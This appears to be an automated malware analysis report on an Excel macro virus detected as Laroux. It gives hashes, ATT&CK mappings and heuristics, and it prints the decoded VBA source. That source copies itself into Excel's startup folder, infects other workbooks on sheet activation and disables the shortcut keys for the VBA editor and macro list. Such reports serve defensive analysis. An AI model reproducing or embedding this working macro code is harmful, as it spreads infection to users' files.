Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f861b3bccfd3ce5…

MALICIOUS

Office (OLE)

82.0 KB Created: 2007-03-07 06:51:39 Authoring application: Microsoft Excel First seen: 2015-09-16
MD5: 102330ce436e3f784325bf2bdbb696e0 SHA-1: 64d6de78f63e1f2ce3b6b587147431c26c8775e0 SHA-256: 9f861b3bccfd3ce5c80c48cfe551baaa56e6b4534ff9a49dcb5376655f3994df
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and the presence of VBA macros indicate malicious intent. The Auto_Open macro attempts to copy the workbook to the Excel startup folder as 'StartUp.xls' and registers a macro to run on sheet activation, likely to establish persistence. The document body content appears to be financial data, which is likely a lure.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1028 bytes
SHA-256: 63cdf1fda255e2df535757548de7ba23f1bd4c0449a986af4cbce59d375e3e15
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
Attribute ycop.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub

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